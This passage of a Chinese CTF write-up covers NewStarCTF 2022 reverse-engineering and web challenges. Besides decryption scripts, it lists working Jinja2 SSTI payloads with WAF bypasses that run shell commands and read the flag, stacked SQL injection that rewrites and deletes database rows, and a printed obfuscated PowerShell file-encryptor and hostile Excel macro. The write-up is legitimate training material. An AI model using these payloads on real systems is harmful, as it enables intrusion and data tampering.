0x63, 0xC2, 0x76, 0xA3, 0x36, 0xE8, 0xE8, 0x97, 0x9A, 0xE4,
0xEE, 0x6D],
[0xC4, 0xC8, 0xEE, 0xE6, 0xF7, 0xC5, 0x33, 0x7D, 0x5A, 0x59,
0xCE, 0x77, 0x18, 0x66, 0xD1, 0x55, 0x1F, 0xCB, 0xF3, 0xFF,
0xE0, 0xBF, 0x5F, 0x0C, 0x79, 0xFB, 0x81, 0xBA, 0xCF, 0x21,
0xC3, 0x90],
[0x99, 0x6B, 0x23, 0x5B, 0xD8, 0x46, 0x84, 0xFC, 0x11, 0x96,
0x87, 0x78, 0x79, 0x49, 0x28, 0x00, 0xF4, 0xEE, 0xDE, 0x52,
0xD5, 0xBC, 0x78, 0x05, 0x68, 0x1A, 0xEE, 0xE9, 0xB4, 0x62,
0x40, 0x3B],
[0x66, 0xAA, 0x34, 0xC8, 0xA1, 0xC3, 0xE1, 0xF3, 0xD4, 0xBB,
0xC8, 0x79, 0x8A, 0x7C, 0x97, 0x2F, 0xE5, 0xE5, 0xB9, 0x99,
0x22, 0x29, 0x41, 0x4E, 0x3B, 0x05, 0xA7, 0x14, 0x29, 0x8F,
0xCD, 0xE6],
[0x43, 0x5D, 0x09, 0xA5, 0xBA, 0xD4, 0xAA, 0xBA, 0x7B, 0xE0,
0xF9, 0x7A, 0x7B, 0x87, 0xC6, 0xDA, 0xBA, 0xF0, 0xDC, 0xA4,
0x67, 0xA6, 0xCA, 0x77, 0x42, 0xCC, 0x9C, 0x63, 0x56, 0x78,
0x8A, 0x61], # z
[0xF8, 0x94, 0xBA, 0xCA, 0xDB, 0xE1, 0x6F, 0x41, 0x06, 0x5D,
0x4A, 0x7B, 0x8C, 0x72, 0x0D, 0xC1, 0x7B, 0x0F, 0xEF, 0x53,
0x74, 0x43, 0x73, 0x80, 0x65, 0x4F, 0x85, 0xF6, 0x1B, 0x15,
0x5F, 0xE4],
[0xDA, 0x66, 0x30, 0x9C, 0x55, 0x5F, 0xAD, 0xD7, 0x90, 0x3F,
0x24, 0x7D, 0xCE, 0x98, 0x23, 0x0B, 0x61, 0xF9, 0xE5, 0x4D,
0xE6, 0xCD, 0x45, 0xB2, 0xA7, 0xB9, 0xCB, 0x20, 0xB5, 0x13,
0xE9, 0xCA],
[0x87, 0x09, 0xA5, 0x29, 0x6E, 0xA0, 0x16, 0x2E, 0xE7, 0x14,
0x55, 0x7E, 0x8F, 0x23, 0x22, 0x36, 0x06, 0x14, 0xC8, 0xB8,
0xDB, 0x1A, 0x9E, 0x4B, 0x2E, 0xA0, 0x60, 0xDF, 0xF2, 0xEC,
0x46, 0x25],
[0x34, 0xB8, 0xFE, 0x96, 0xC7, 0xF5, 0x23, 0xCD, 0x2A, 0xE9,
0x7E, 0x27, 0xA8, 0x76, 0xA1, 0x05, 0xCF, 0xDB, 0xA3, 0x0F,
0xD0, 0x2F, 0x8F, 0xBC, 0x69, 0xEB, 0x11, 0xAA, 0x3F, 0xB1,
0x73, 0x00],
[0x8F, 0x01, 0x3D, 0x01, 0x16, 0x58, 0xCE, 0x66, 0xFF, 0x4C,
0xBD, 0x26, 0x87, 0x8B, 0x9A, 0x4E, 0xEE, 0x2C, 0xF0, 0xC0,
0xD3, 0x32, 0xA6, 0x53, 0xE6, 0x58, 0x78, 0x87, 0x8A, 0xB4,
0x5E, 0x9D],
] for i in range(len(test)):
print(test[i] * 32) flag = [0] * 32
for i in range(len(test)):
for k in range(len(enc)):
if enc[k] == test_[i][k]:
flag[k] = ord(test[i])
for i in range(len(flag)):
print(chr(flag[i]), end='') # flag{umm_I_ an't_calc_1t_@t_all}

flag{umm_I_ an't_calc_1t_@t_all} # 应该是数据问题,检查了一下,缺失字符

猜测 flag{umm_I_can't_calc_1t_@t_all} 正确!!!

【这里应该是patch 数据时,未断点正确造成,数据轻微有误!!!】

funnyOTL

main 函数

#include <stdio.h>
#include <stdlib.h>
#include <time.h> int main() {
srand(int(time(0))&0xF0000000); // 每次运行main程序的时候产生的随机值都一样 for (int i = 0; i < 24; i++) {
printf("%d ", rand() % 24);
}
printf("\n");
return 0;
} // 每次生成序列相同!
// rand()*2%24
//4 6 4 2 6 10 10 18 4 8 18 0 4 10 18 2 18 18 18 16 8 22 22 4 //发现自己的随机序列不对,需要动态调试获得,程序生成的随机序列。 0x12,0x6,0x8,0xa,0x6,0x14,0xa,0x14,0x00,0xc,0x2,0x4

一些c++ 的语法函数知识。

# ~string(); 析构函数

# std::replace() 函数的语法

    std::replace(
iterator start,
iterator end,
const T& old_value,
const T& new_value);
参数:
iterator start, iterator end- 这些是指向容器中开始和结束位置的迭代器,我们必须在那里运行替换操作。
old_value- 是要搜索并替换为新值的值。
new_value- 要分配的值而不是 old_value。

(173条消息) Reverse_iterator的使用_一休求索的博客-CSDN博客

这是结合动态调试,获得的程序核心加密流程:

for i in range(0, 24, 2):
posCur=i
posLogMe=order[i//2] string_3[0] = enc[posCur]
string_3[1] = enc[posCur + 1] string_4[0] = enc[posLogMe]
string_4[1] = enc[posLogMe + 1] string_3[1] = ~(string_3[1]^posLogMe) &0xff
string_3[0] = string_3[0]^posLogMe&0xff enc[posCur] = string_4[0]
enc[posCur + 1] = string_4[1] enc[posLogMe+1] = string_3[1]
enc[posLogMe] = string_3[0]

对以上分析出的程序流程,做逆处理即可:【这里静态分析也是很明了的】

# -*- coding: UTF-8 -*-

enc = [0x4C, 0xAB, 0x78, 0x49, 0x68, 0x9D, 0x51, 0x79, 0x75, 0x5F,
0x7D, 0xC5, 0x63, 0x52, 0x4C, 0xB4, 0x4F, 0x7B, 0x67, 0x61,
0x6F, 0x6E, 0x6B, 0x5F] print('flag{'+'x'*18+'}') # flag{123456789012345678} order = [0x12,0x6,0x8,0xa,0x6,0x14,0xa,0x14,0x00,0xc,0x2,0x4] # 动态调试获得 string_3 = [0] * 2
string_4 = [0] * 2 for i in range(22, -2, -2):
posCur=i
posLogMe=order[i//2] string_3[1]= enc[posLogMe + 1]
string_3[0] =enc[posLogMe] string_4[0] = enc[posCur]
string_4[1] = enc[posCur + 1] string_3[1] = (~(string_3[1])&0xff) ^ posLogMe # 这里的处理需要注意
string_3[0] = string_3[0]^posLogMe&0xff enc[posLogMe] = string_4[0]
enc[posLogMe + 1] = string_4[1] enc[posCur+1] = string_3[1]
enc[posCur] = string_3[0] for i in range(len(enc)):
print(chr(enc[i]), end='') # }LTS_wonk_u_w0n_LTO{galf print()
print('}LTS_wonk_u_w0n_LTO{galf'[::-1])

flag{OTL_n0w_u_know_STL}

Web

BabySSTI_One

<body bgcolor=#E1FFFF><br><p><b>
<center>Welcome to NewStarCTF, Dear CTFer
</center></b></p><br><hr><br>
<center>Try to GET me a NAME</center><!--This is Hint: Flask SSTI is so easy to bypass waf!--></body>
?name=<script>alert(1)</script>

出现弹窗!

?name={{2*8}}

Welcome to NewStarCTF, Dear 16

# 命令执行 ls
?name=
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %} Get Out!Hacker!
hint:  Flask SSTI is so easy to bypass waf
# 读源码payload
?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{% endif %}
{% endfor %}
# for i in ['a','1']
{{ i }}
# endfor {% for i in ['a','1'] %}
{{ item }}
{% endfor %} 这两条是等效的,但是有个前提,必须在environment中配置line_statement_prefix

app.jinja_env.line_statement_prefix="#"

相关SSTI 模板注入 的资料:

(173条消息) 【SSTI模块注入】SSTI+Flask+Python(下):绕过过滤_黑色地带(崛起)的博客-CSDN博客_ssti模块

(173条消息) Flask SSTI注入学习_目标是技术宅的博客-CSDN博客

(173条消息) Flask-SSTI注入_0xActive的博客-CSDN博客_flask ssti注入

(173条消息) SSTI Bypass 学习 (Python3&jinja2_rdd_null的博客-CSDN博客

显然需要测试 waf 黑名单

?name={{"".__class__}}
Get Out!Hacker! ?name={{''[request.args.t1]}}?t1=__class__
Get Out!Hacker! ?name={{""["__c""lass__"]}}
正常,可以知道关键词被waf ?name={{""["__ba""se__"]}}
正常 ?name={{""["__base__"]}}
Get Out!Hacker! 显然需要把所有 .__key__ 替换为 ["__ba""se__"] ?name={# for c in []["__c""lass__"]["__ba""se__"]["__su""bclasses__"]() #}
正常 ?name=%23 for c in []["__c""lass__"]["__ba""se__"]["__su""bcl""asses__"]() %23 Welcome to NewStarCTF, Dear # for c in []["__c""lass__"]["__ba""se__"]["__su""bcl""asses__"]() # # catch_warnings 被过滤
?name=%23 if c["__na""me__"] == "sgninraw_hctac"[::-1]%23 # 读源码payload
?name=%23 for c in []["__c""lass__"]["__ba""se__"]["__su""bcl""asses__"]() %23
%23 if c["__na""me__"] == "sgninraw_hctac"[::-1]%23
{{ c["__i""nit__"]["__glo""bals__"]["__bui""ltins__"].open('app.py','r').read() }}
%23 endif %23
%23 endfor %23 ?name={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}} 查看所有模块
?name={{[]["__c""lass__"]["__ba""se__"]["__subcl""asses__"]()}} /?name=
{% for c in []["__c""lass__"]["__ba""se__"]["__subcl""asses__"]() %}
{% if c.__name__ == 'ca""tch_warnings' %}
{% for b in c["__in""it__"].__globals__.values() %}
{% if b["__c""lass__"]== {}["__c""lass__"] %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

经过一系列测试,发现waf 好多关键字!最终在舍友提示下,使用hackbar 自带的payload,实现rce

get flag

/?name={{joiner["__in""it__"].__globals__.__builtins__['__import__']('os').popen('ls').read()}}

app.py

?name={{joiner["__in""it__"].__globals__.__builtins__['__import__']('os').popen('ca""t app.py').read()}}

# 源代码
from flask import Flask, request
from jinja2 import Template
import re
app = Flask(__name__) @app.route("/")
def index():
name = request.args.get('name', 'CTFer')
if not re.findall('class|base|init|mro|flag|cat|more|env', name):
t = Template(" /?name={{joiner["__in""it__"].__globals__.__builtins__['__import__']('os').popen('ls /').read()}} app
bin
boot
dev
etc
flag_in_here
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var ?name={{joiner["__in""it__"].__globals__.__builtins__['__import__']('os').popen('ca""t /fla""g_in_here').read()}}
flag{29170b66-27fa-4863-9b2e-28f0fbd698c1}

flag{29170b66-27fa-4863-9b2e-28f0fbd698c1}

强大的 hackbar

multiSQL

0x01 sql 注入 测试
username=1' or 1=1 #

火华 11 201 212

username=1' order by 5 # 无回显
username=1' order by 4 # 有回显 说明四列 username=-1' union select 1,2,3,group_concat(schema_name) from information_schema.schemata 同学你在干嘛 有过滤 借助hacker 上工具,简单测试,发现 select union 等被过滤 username=-1' uni/**/on se/**/lect 1,2,3,group_concat(schema_name) from information_schema.schemata #
无回显 注释符,大小写,双写关键字都无法绕过 通用绕过(编码):
如URLEncode编码,ASCII,HEX,unicode编码绕过:
or1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 username=-1' uni/**/on se/**/lect 1,2,3,group_concat(schema_name) from information_schema.schemata #
cmd='-1\' union select 1,2,3,group_concat(schema_name) from information_schema.schemata #'

for i in range(len(cmd)):
print('CHAR('+str(ord(cmd[i]))+')+',end='')

对绕过这些关键字,没啥思路。尝试堆叠注入!

0x02 尝试堆叠注入
# 尝试堆叠注入,发现可以
username=1';show databases;# english
information_schema
mysql
performance_schema username=1';show tables;#
score username=1';show columns from score;#

# 修改成绩
username=1';update score set listen=500 where username=火华--+ 发现 update 被waf username=1';CHAR(117)+CHAR(112)+CHAR(100)+CHAR(97)+CHAR(116)+CHAR(101) score set listen=500 where username=火华--+ 无效
update过滤了

(173条消息) 详解MySQL数据库insert和update语句_wgcc的博客-CSDN博客_insert在数据库中是什么意思

发现 ,insert replace等 指令都可替代 update

username=1';insert into score values("火华",200,200,200);#

insert waf

username=1';replace into score values("火华",200,200,200);#
成功执行

但是,第一条数据不符合,需要排序,或者删除!!!

#低分删除即可:
username=1';delete from score where listen=11;# 成功后,查询分数得到flag

get flag

flag{Ju3t_use_mo2e_t2en_0ne_SQL}

Week4

Re

Hash

测试知道是 hash 算法 是 sha1()。直接爆破,得到flag。

#encoding=utf-8

import hashlib
import itertools text=['A2F17ED1C6A8BC31769CDF654DF4B8A937042CB6','0CA8A2EDB0C1D34A432A5A4464E0D6ABD847C831','C359D69F3F08BB920F2C3B51133205533462093E','CC5C3FE6E7356A26A134CFF5633349F597C40A9D','4AC4BB3F27F245BA9178651AA5CDEDCBB2862E2A','A01E33F4DCDB6BA1AE9F34A97CF8F6DEEEDF1A8D','D3AF70912A8C1B22CFDECE071BA36BC4662B58FA','9395EAB195D25B676D7D07075D3838A9AC19DF21','FDB43C5EF76ECDA0C1661D6D199B5BFAC1DB538A','DA8E9997A010BE78B20108CE79FEC1FB9C63D8DC','809DA627F1AD01D65864C376E3179B62D9D74261','8F61EE21AC7579626934E0FFB6A62B3D4A82EEC4','E2A954758FDB61F869998E9788B7B7E48480B832','B8E3349B97532B27AA62B8718B68240179158144'] # print(hashlib.sha1('fla'.encode()).hexdigest()) for i in range(len(text)):
print(len(text[i])) modle = list(itertools.product(
['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',
'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J',
'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z','{','}','_','!','@','|'], repeat=3)) i = -1
flag='' for k in range(len(text)):
while True:
i += 1
# print(modle[i])
str = ''.join(modle[i]) if hashlib.sha1(str.encode()).hexdigest() in text[k].lower():
print('correct: ', str)
# input()
flag+=str
break
else:
print('[-]:'+str)
i=-1
print(flag)

flag{Easy_Hash_And_Y0u_Solve_1t_Quickly!!}

Exception

0x01 程序分析

(173条消息) 逆向程序分析:Windows的main(),启动函数分析_CodeBowl的博客-CSDN博客_windows编程的主函数

查看异常处理块!

;   __except(loc_4B18BC) // owned by 4B18A4
mov esp, [ebp+ms_exc.old_esp]
mov eax, [ebp+var_48]
xor eax, 12345678h
mov [ebp+var_48], eax
mov [ebp+ms_exc.registration.TryLevel], 0FFFFFFF # 触发异常后,将[ebp+var_48]^0x12345678

所以可以依据这个,直接生成出delta[] 数组,进行解密。

tmp=0x9E3779B9
while()
delta+=tmp
tmp=tmp^0x12345678&0xffffffff

【也可以动态调试获得,每组delta[]数据值】

0x02 解密

python 解密脚本

# encoding=utf-8

print('flag{'+'x' * 26+'}')

enc = [0xCE, 0x21, 0xE8, 0x88, 0x70, 0x9D, 0x00, 0x0B, 0x8F, 0xE6,
0xB1, 0x91, 0x96, 0xEA, 0x31, 0x01, 0x7D, 0x9D, 0x20, 0xA3,
0xFB, 0x7D, 0x18, 0xA9, 0xCA, 0xC5, 0x52, 0xC4, 0x53, 0x67,
0x69, 0xA9]
enc1 = [0x88E821CE,0x0B009D70,0x91B1E68F,0x131EA96,0x0A3209D7D,0x0A9187DFB,0x0C452C5CA,0x0A9696753] # sum=0
# tmp=0x9E3779B9
# for i in range(32):
# sum+=tmp
# tmp^=0x12345678
# print(hex(sum&0xffffffff),end=',') v9_enc=[0x9E3779B9,0x2a3aa97a,0xc8722333,0x547552f4,0xF2ACCCAD,0x7EAFFC6E,0x1CE77627
,0xA8EAA5E8,0x47221FA1,0xD3254F62,0x715CC91B,0xFD5FF8DC,0x9B977295,0x279AA256
,0xC5D21C0F,0x51D54BD0,0xF00CC589,0x7C0FF54A,0x1A476F03,0xA64A9EC4,0x4482187D
,0xD085483E,0x6EBCC1F7,0xFABFF1B8,0x98F76B71,0x24FA9B32,0xC33214EB,0x4F3544AC
,0xED6CBE65,0x796FEE26,0x17A767DF,0xA3AA97A0] key = [1, 2, 3, 4]
print()
for k in range(0, 8, 2):
v11 = enc1[k]
v10 = enc1[k + 1]
for i in range(32):
v9=v9_enc[31-i]
v10 -= (key[3] + (v11 >> 5)) ^ (v9 + v11) ^ (key[2] + 16 * v11)
v10= v10&0xffffffff
v11 -= (key[1] + (v10 >> 5)) ^ (v9 + v10) ^ (key[0] + 16 * v10)
v11 = v11 & 0xffffffff
enc1[k] = v11
enc1[k + 1] = v10 for i in range(len(enc1)):
print(hex(enc1[i]),end=',')
flag:

0x33433434,0x31463741,0x41443231,0x37454232,0x34463832,0x35433135,0x30443245,0x38353539,

cpp 解密脚本

#include <stdio.h>
#include <stdint.h> uint32_t delta[]={0x9E3779B9,0x2a3aa97a,0xc8722333,0x547552f4,0xF2ACCCAD,0x7EAFFC6E,0x1CE77627
,0xA8EAA5E8,0x47221FA1,0xD3254F62,0x715CC91B,0xFD5FF8DC,0x9B977295,0x279AA256
,0xC5D21C0F,0x51D54BD0,0xF00CC589,0x7C0FF54A,0x1A476F03,0xA64A9EC4,0x4482187D
,0xD085483E,0x6EBCC1F7,0xFABFF1B8,0x98F76B71,0x24FA9B32,0xC33214EB,0x4F3544AC
,0xED6CBE65,0x796FEE26,0x17A767DF,0xA3AA97A0}; //加密函数
void encrypt (uint32_t* v, uint32_t* k,int round) {
uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */
/* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i < round; i++) { /* basic cycle start */
sum = delta[i];
v0 += ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
v1 += ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
} /* end cycle */
v[0]=v0; v[1]=v1;
}
//解密函数
void decrypt (uint32_t* v, uint32_t* k,int round) {
uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */
/* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<round; i++) { /* basic cycle start */
sum = delta[round-1-i];
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
} /* end cycle */
v[0]=v0; v[1]=v1;
} int main()
{ uint32_t v[] = { 0x88E821CE,0x0B009D70,0x91B1E68F,0x131EA96,0x0A3209D7D,0x0A9187DFB,0x0C452C5CA,0x0A9696753};
uint32_t k[]={1,2,3,4};
int n=sizeof(v)/sizeof(uint32_t);
int round=32; // v为要加密的数据是两个32位无符号整数
// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
printf("加密前原始数据:\n");
for (int i=0;i<8;i++)
{
for (int j=0;j<4;j++)
{
printf("0x%x,",((v[i]>>j*8)&0xff));
}
} for (int i=0;i<n/2;i++)
{
decrypt(&v[i*2], k,round);
}
printf("\n解密后的数据:\n");
for (int i=0;i<8;i++)
{
for (int j=0;j<4;j++)
{
printf("%c",((v[i]>>j*8)&0xff)); // 327a6c4304ad5938eaf0efb6cc3e53dc flag{327a6c4304ad5938eaf0efb6cc3e53dc}
}
} for (int i=0;i<n/2;i++)
{
encrypt(&v[i*2], k ,round);
} printf("\n加密后的数据:\n");
for (int i=0;i<8;i++)
{
for (int j=0;j<4;j++)
{
printf("0x%x,",((v[i]>>j*8)&0xff));
}
} return 0;
}

flag{44C3A7F112DA2BE728F451C5E2D09558}

HelpMe

0x01 ps1 解析恢复xlsm

根据提示查阅到相关资料

(174条消息) 还原永恒之蓝下载器PS脚本混淆_FFE4的博客-CSDN博客

从ps1中截取下列数据

echo $(New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAKxePWMA/31RT2+bMBS/8yksxAHUYCVI66RMm5TQdJq6LFXJdslycPGDeDU2wi9a0LTv3mdos2yHXZDfD//++UWoGnAompa9Z/HuRiBsCdlUlQPcxx8BU4+xsBDINiWy6Yxl0yyjzzzL5tksTBK+tV+NOnleAaU10sVJED1BT5Jf4Ge6efwBxFz2CLs9m10HXvVBGGkblq7FiWVvrllaABYAkl0k+hCZo9ZBZTsWR8pIOJHi9B17OacaSe11vLpK2C/vuhvnPd3dPZLn2OIfv+R3EC1Wxd8Ji94hNJxKHDuFPc+7vkVbd6I99HwBbi2MqEEOTH439POG47y2EggIV/kyHJF7IaUytc/xX+WXe15gP5/f3+XF2yCqlB7koqZvBR6+N32tKuQn7RqS973chfCnDb8lAtEfQMiF1v6xXRwOMiFtY2XKwbLzmX24vAPa6xn2GwNTSoHC3zjjfNsJ42gDza0yQi+1LZ/i0X7CphM2HvlnMDUeLn34jXKtdeCFvd+fkRad5tYgGGTpN6GPwM7WKfHt8Gi+ALX3+Tn9DYNn5mIx06oCAAA='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()

得到如下:【显然就是核心加密逻辑了】

$timestamp = ([DateTimeOffset](Get-Date "Sat Oct 01 2022 20:22:21")).ToUnixTimeSeconds()
$key = New-Object Byte[] 16
Get-Random -Max 256 -SetSeed $timestamp >$null
for ($index = 0; $index -lt 16; $index++) {$key[$index] = [byte](Get-Random -Max 256)}
$AES = New-Object System.Security.Cryptography.AesManaged
$AES.Key = $key
$AES.Mode = "ECB"
$AES.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$file = "$mypath\mygift.xlsm"
$bytes = [System.IO.File]::ReadAllBytes("$file")
$Encryptor = $AES.CreateEncryptor()
$encdata = $Encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
$Encryptor.Dispose()
$AES.Dispose()
Set-Content -Value $encdata -Encoding Byte "$file.enc"

如上可以分析知道:

# AES 加密
# key 密钥随机生成
# ECB 模式
# 填充模式 PKCS7 # [byte](Get-Random -Max 256)
# Get-Random 获取一个随机数,或从集合中随机选择对象。 # powershell run
PS F:\> echo ([DateTimeOffset](Get-Date "Sat Oct 01 2022 20:22:21")).ToUnixTimeSeconds()
1664626941 PS F:\> $timestamp = ([DateTimeOffset](Get-Date "Sat Oct 01 2022 20:22:21")).ToUnixTimeSeconds()
PS F:\> $key = New-Object Byte[] 16
PS F:\> Get-Random -Max 256 -SetSeed $timestamp >$null
PS F:\> for ($index = 0; $index -lt 16; $index++) {$key[$index] = [byte](Get-Random -Max 256)}
PS F:\> echo $key
105
192
50
118
175
152
128
155
147
80
183
37
190
22
242
78

Get-Random (Microsoft.PowerShell.Utility) - PowerShell | Microsoft Learn

如上,key=[105,192,50,118,175,152,128,155,147,80,183,37,190,22,242,78]

AES 解密脚本

# encoding=utf-8

from Crypto.Cipher import AES

key = [105, 192, 50, 118, 175, 152, 128, 155, 147, 80, 183, 37, 190, 22, 242, 78]
key_b=bytes(key) with open(r"F:\CTF_\CTF练习\2022_ctf\NewStarCTF 公开赛\Week4\HelpMe\HelpMe\mygift.xlsm.enc", 'rb') as f:
chipher = f.read() # iv = b'\x00' * 8
print(chipher) aes = AES.new(key_b, AES.MODE_ECB) data = aes.decrypt(chipher)
print(data) # with open(r"F:\CTF_\CTF练习\2022_ctf\NewStarCTF 公开赛\Week4\HelpMe\HelpMe\mygift.xlsm",'wb') as f:
# f.write(data)
0x02 Excel 宏处理

获得.xlsm后打开,发现总有弹窗!

Excel如何打开宏,Excel宏在哪里-百度经验 (baidu.com)

找到 excel 宏,发现有东西

Sub hack()

    MsgBox "You have to pay me a lot of money now!"
Dim shell
Dim talk
Set talk = CreateObject("SAPI.SpVoice")
talk.Rate = -3
talk.Volume = 100
talk.Speak "You have to pay me a lot of money now" Dim a, b, x, arr
a = 20
b = 22
x = 21 arr = Array(2, 19, 16, 21, 14, 24, 18, 15, 5, 0, 6, 23, 13, 29, 11, 9, 7, 10, 20, 12, 1, 26, 30, 31, 27, 25, 3, 28, 8, 22, 17, 4) Dim i For i = 1 To 32
If Cells(1, i).Value = "*" Then Exit For
Cells(2, arr(i - 1) + 1).Value = Cells(1, i).Value Xor x
x = (a * x + b) Mod 255
Cells(1, i).Value = "*"
Next
talk.Speak "I have hacked you"
Set sh = CreateObject("Wscript.Shell")
sh.Run ("%comspec% /k tree"), 3, True
ActiveWorkbook.Close
alertTime = Now + TimeValue("00:00:30")
Application.OnTime alertTime, "hack" End Sub 62 163 115 241 149 89 216 45 20 138 220 8 75 42 135 93 161 60 115 215 169 66 32 132 141 21 184 95 159 3 121 91
0x03 py解密

对上述流程进行解密:

# encoding=utf-8

a = 20
b = 22
x = 21 arr =[2, 19, 16, 21, 14, 24, 18, 15, 5, 0, 6, 23, 13, 29, 11, 9, 7, 10, 20, 12, 1, 26, 30, 31, 27, 25, 3, 28, 8,
22, 17, 4]
enc=[62,163,115,241,149,89,216,45,20,138,220,8,75,42,135,93,161,60,115,215,169,66,32,132,141,21,184,95,159,3,121,91] flag='' for i in range(len(enc)):
flag+=chr(enc[arr[i]]^x)
x = (a * x + b)%255 print(flag)

flag{This_is_@_begin_about@hack}

哈德兔的口

0x01 程序分析

jadx 逆向APK 文件

存在 X86 架构 .so 文件,那么程序是可以动态调试的。

先导出.so 文件进行静态分析

cheak 将输入进行 rc4 加密,然后与密文比较。密钥可以动态调试,decode()获得。

0x02 动态调试 .so文件

/* loaded from: classes.dex */
public class MainActivity extends c {
// rc4 加密 密钥key=Hikari#a0344y3y#19301211 /* renamed from: s */
String f3430s = "|%tJ|%pK~%t;6%}d}s\"K|vt;2)y92a=x"; static {
System.loadLibrary("check");
} public static /* synthetic */ void J(MainActivity mainActivity, EditText editText, View view) {
mainActivity.K(editText, view);
} /* JADX INFO: Access modifiers changed from: private */
public /* synthetic */ void K(EditText editText, View view) {
String obj = editText.getText().toString();
try { // android.util.Base64
Class<?> cls = Class.forName(decode("}s+=4aur{>IA5w&F+v=G4>#F*\"ll")); // android.util.Base64
obj = new String((byte[]) cls.getMethod(decode("+(#G*ad="), byte[].class, Integer.TYPE).invoke(cls, obj.getBytes(StandardCharsets.UTF_8), 0)); // encode
} catch (ClassNotFoundException e2) {
e2.printStackTrace();
} catch (IllegalAccessException e3) {
e = e3;
e.printStackTrace();
} catch (NoSuchMethodException e4) {
e4.printStackTrace();
} catch (InvocationTargetException e5) {
e = e5;
e.printStackTrace();
}
Toast.makeText(this, decode(check(obj, decode(this.f3430s)) ? "x)#;+)yJ3_|l" : "{>#b4b}94rqJ5(hdxvE;+(9;xv'K*('D4rpD+adG4=4l"), 1).show();
} public native boolean check(String str, String str2); public native String decode(String str); /* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.e, androidx.activity.ComponentActivity, u.d, android.app.Activity
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_main);
final EditText editText = (EditText) findViewById(R.id.et_passwd);
((Button) findViewById(R.id.btn_check)).setOnClickListener(new View.OnClickListener() { // from class: o1.a
@Override // android.view.View.OnClickListener
public final void onClick(View view) {
MainActivity.J(MainActivity.this, editText, view);
}
});
}
}

通过动态调试知道,程序获取输入后。将输入base64编码,然后RC4加密。

这里有个细节,rc4 算法被魔改了两个点

可以看到,rc4加密时,先对数据 xor 0xc6。然后加密完成时,又对结果xor 0x73 然后才得到密文。因为这是RC4 加密算法。那么我们用常规rc4 解密出的数据 xor 0x73 xor 0xc6,就可以得到明文。

【具体原理参见 RC4加密算法原理简单理解 - 沉默的赌徒 - 博客园 (cnblogs.com)】

# encoding=utf-8

from Crypto.Cipher import ARC4
import binascii
import hashlib
import base64 key = 'Hikari#a0344y3y#19301211' # 动态调试得到
chipher = [0xF0, 0x90, 0x10, 0xB7, 0xD1, 0x6E, 0x1A, 0xBC, 0xFB, 0x56,
0xE6, 0x93, 0x0C, 0xC0, 0xB5, 0x06, 0x4D, 0xBD, 0xF1, 0x9C,
0xD1, 0x9A, 0x3D, 0x03, 0xCB, 0x16, 0x42, 0x9A, 0x4B, 0x22,
0x10, 0x9D, 0xC6, 0x70, 0x65, 0xAA, 0xC0, 0x3E, 0x54, 0x33,
0xF8, 0x42, 0x2A, 0xE0, 0x52, 0x19, 0xB4, 0x6A, 0xA2, 0x97,
0xEE, 0x2A, 0x9D, 0xC2, 0x32, 0xED] cipher_text = bytes(chipher) print(cipher_text)
cipher = ARC4.new(key.encode())
decrypt_text = cipher.decrypt(cipher_text)
# print(decrypt_text)
# decrypt_text = base64.b64decode(decrypt_text)
for i in range(len(decrypt_text)):
print(chr(decrypt_text[i]^0xc6^0x73),end='') # rc4 魔改位置 print()
print(base64.b64decode('ZmxhZ3tRQVFfaG93MmRlY29kZSMjcGxzX3RlQWNoX3RlVmNoX21lISF9')) # cipher = ARC4.new(key.encode())
# plain_text = cipher.encrypt(decrypt_text)
# print(plain_text)

flag{QAQ_how2decode##pls_teAch_teVch_me!!}

mpz

0x01 搜索相关知识
hint:
lumina may be helpful

六角射线 - IDA 光彩 (hex-rays.com)

[原创]IDA lumina C# 服务端实现-软件逆向-看雪论坛-安全社区|安全招聘|bbs.pediy.com

GitHub - synacktiv/lumina_server: IDA Lumina 功能的本地服务器

查阅到上面感觉有关的链接,可以知道lumina是一种快速库识别和识别的技术。

GitHub - naim94a/lumen: A private Lumina server for IDA Pro

这个可能就是题目说的lumina。但根据文章安装环境配置出错,,,

又尝试 mpz 相关搜索

c语言使用gmp库运算 - 简书 (jianshu.com)

